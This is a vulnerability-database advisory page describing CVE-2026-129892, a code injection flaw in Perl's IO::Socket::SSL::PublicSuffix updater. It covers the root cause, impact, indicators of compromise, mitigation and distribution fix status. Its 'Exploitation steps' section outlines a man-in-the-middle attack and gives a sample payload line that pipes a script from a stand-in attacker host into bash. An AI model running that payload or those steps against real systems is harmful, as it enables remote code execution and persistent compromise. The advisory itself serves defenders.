Vulnerability DatabaseCVE-2026-129892

CVE-2026-129892: 
Linux Debian vulnerability analysis and mitigation

Overview

CVE-2026-129892 is a code injection vulnerability in IO::Socket::SSL::PublicSuffix for Perl, affecting all versions through 2.099. When the update_self_from_url function rewrites the module's source file with a freshly fetched public suffix list, it fails to validate that each fetched line is a valid domain entry. A malicious line containing END_BUILTIN_DATA terminates the heredoc data block prematurely, causing all subsequent lines in the fetched list to be interpreted and executed as arbitrary Perl code. The vulnerability was disclosed on November 18, 2026, and is classified as CWE-94 (Improper Control of Generation of Code). The CVSS category estimate is HIGH; a precise numeric score had not been assigned at time of publication (GitHub Advisory, Feedly).

Technical details

The root cause (CWE-94) lies in the update_self_from_url subroutine within IO::Socket::SSL::PublicSuffix.pm, which rewrites the module's own source file by appending each line fetched from a remote URL below the built-in heredoc. The code strips comment markers (//) and trailing whitespace from non-comment lines but performs no check that a line resembles a valid domain name. Because the heredoc terminator END_BUILTIN_DATA is not a comment and contains no //, it passes through unmodified and is written into the rewritten file, closing the data block. Every line fetched after it is then syntactically valid Perl and is executed whenever the module is loaded. The fix, committed by Steffen Ullrich on November 17, 2026, adds an explicit check: if any fetched line matches ^END_BUILTIN_DATA, the update process dies with "Attempt to break out of data section" (Patch Commit, GitHub Advisory). The same commit also upgrades the default fetch URL from HTTP to HTTPS (addressing the companion issue CVE-2026-129891).

Impact

Successful exploitation results in arbitrary Perl code execution within every process that loads IO::Socket::SSL, because that module unconditionally loads IO::Socket::SSL::PublicSuffix. The injected code persists in the rewritten module file and executes on every subsequent load until the module is cleanly reinstalled, giving an attacker a durable foothold on the affected system. Depending on the privileges of the process loading the module, the attacker could achieve full system compromise, exfiltrate sensitive data, install backdoors, or pivot to other systems on the network (Feedly, GitHub Advisory).

Exploitability

Exploitation requires two preconditions: the attacker must control the URL from which the public suffix list is fetched (either by intercepting the cleartext HTTP default URL or by supplying a malicious caller-controlled URL), and the update process must run with write access to the installed module file. As of the disclosure date, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation. The EPSS score is reported as 0.0, and the vulnerability does not appear in the CISA Known Exploited Vulnerabilities catalog (Feedly, GitHub Advisory).

Exploitation steps

  1. Identify a target running the updater: Locate a system that periodically calls IO::Socket::SSL::PublicSuffix::update_self_from_url (e.g., via a cron job or administrative script) with write access to the installed Perl module path.
  2. Position for list interception: If the target uses the default HTTP URL (http://publicsuffix.org/list/effective_tld_names.dat), perform a man-in-the-middle attack on the unencrypted connection (e.g., ARP spoofing, DNS poisoning, or a rogue proxy) to serve a crafted list. Alternatively, if the caller supplies a URL parameter, compromise or spoof that endpoint.
  3. Craft the malicious public suffix list: Construct a response that begins with legitimate-looking domain entries, then includes a bare line reading END_BUILTIN_DATA (no leading //, no trailing content that would be stripped), followed by arbitrary Perl payload lines (e.g., system("curl http://attacker.com/shell.sh | bash");).
  4. Trigger the update: Wait for or trigger the update_self_from_url call. The function fetches the crafted list, writes END_BUILTIN_DATA into the module file (closing the heredoc), and appends the Perl payload lines as executable code.
  5. Achieve persistent code execution: On the next (and every subsequent) load of IO::Socket::SSL by any process on the system, the injected Perl payload executes automatically, providing persistent remote code execution until the module is reinstalled from a clean source (Patch Commit, GitHub Advisory).

Indicators of compromise

  • File System: Unexpected or recently modified PublicSuffix.pm file in the Perl library path (e.g., /usr/lib/perl5/, /usr/local/lib/perl5/, or ~/.cpan/); presence of END_BUILTIN_DATA followed by non-domain content in that file; file modification timestamp on PublicSuffix.pm coinciding with an unexpected update event.
  • Network: Outbound HTTP (not HTTPS) connections from the server to publicsuffix.org or an unexpected host on port 80 during module update; DNS queries for attacker-controlled domains from the Perl process; unexpected outbound connections (reverse shells, beaconing) originating from Perl interpreter processes.
  • Logs: System or application logs showing IO::Socket::SSL::PublicSuffix::update_self_from_url being called from an unexpected context or at an unusual time; Perl interpreter errors or warnings referencing PublicSuffix.pm syntax issues; web server or proxy logs showing HTTP GET requests to a public suffix list URL returning anomalously large or structured responses.
  • Process: Unexpected child processes spawned by Perl (e.g., bash, sh, curl, wget, python) that are children of a Perl process loading IO::Socket::SSL.

Mitigation and workarounds

Upgrade IO::Socket::SSL to a version beyond 2.099, which includes the patched PublicSuffix.pm that detects and rejects any fetched line matching ^END_BUILTIN_DATA (Patch Commit). If an immediate upgrade is not possible, restrict outbound network access from the system to the public suffix list URL, or configure the updater to use a trusted internal HTTPS mirror rather than the default HTTP endpoint. Ensure that the update_self_from_url function is only callable by trusted administrators and that the Perl module installation directory is not writable by unprivileged processes. After patching, verify the integrity of the installed PublicSuffix.pm file and reinstall it from a clean source if tampering is suspected (GitHub Advisory).

Community reactions

The vulnerability was assigned by CPANSec and disclosed via the oss-security mailing list shortly after the patch was committed by module author Steffen Ullrich (oss-sec post). No significant vendor statements, notable researcher commentary, or broad media coverage beyond standard vulnerability tracking sites had been observed at the time of publication.

Additional resources

Linux Distribution fix status

Fix availability across major Linux distributions and their releases.

Debian

Affected

bookworm

libio-socket-ssl-perl

Affected

sid

libio-socket-ssl-perl

Affected

trixie

libio-socket-ssl-perl

Affected

Ubuntu

Unknown

bionic (esm-infra)

libio-socket-ssl-perl

Unknown

devel

libio-socket-ssl-perl

Unknown

focal (esm-infra)

libio-socket-ssl-perl

Unknown

jammy

libio-socket-ssl-perl

Unknown

noble

libio-socket-ssl-perl

Unknown

resolute

libio-socket-ssl-perl

Unknown

trusty (esm-infra-legacy)

libio-socket-ssl-perl

Unknown

xenial (esm-infra-legacy)

libio-socket-ssl-perl

Unknown

Source: This report was generated using AI

Related Linux Debian vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-114938HIGH8.1
  • Amazon Corretto JDK logoAmazon Corretto JDK
  • java-21-openjdk-static-libs-fastdebug
NoYesNov 17, 2026
CVE-2026-129246HIGH7.8
  • Linux Debian logoLinux Debian
  • lightdm
NoYesNov 17, 2026
CVE-2026-121757MEDIUM5.9
  • Linux Debian logoLinux Debian
  • glibc
NoNoNov 17, 2026
CVE-2026-129892NONEN/A
  • Linux Debian logoLinux Debian
  • libio-socket-ssl-perl
NoNoNov 18, 2026
CVE-2026-129891NONEN/A
  • Linux Debian logoLinux Debian
  • libio-socket-ssl-perl
NoNoNov 18, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management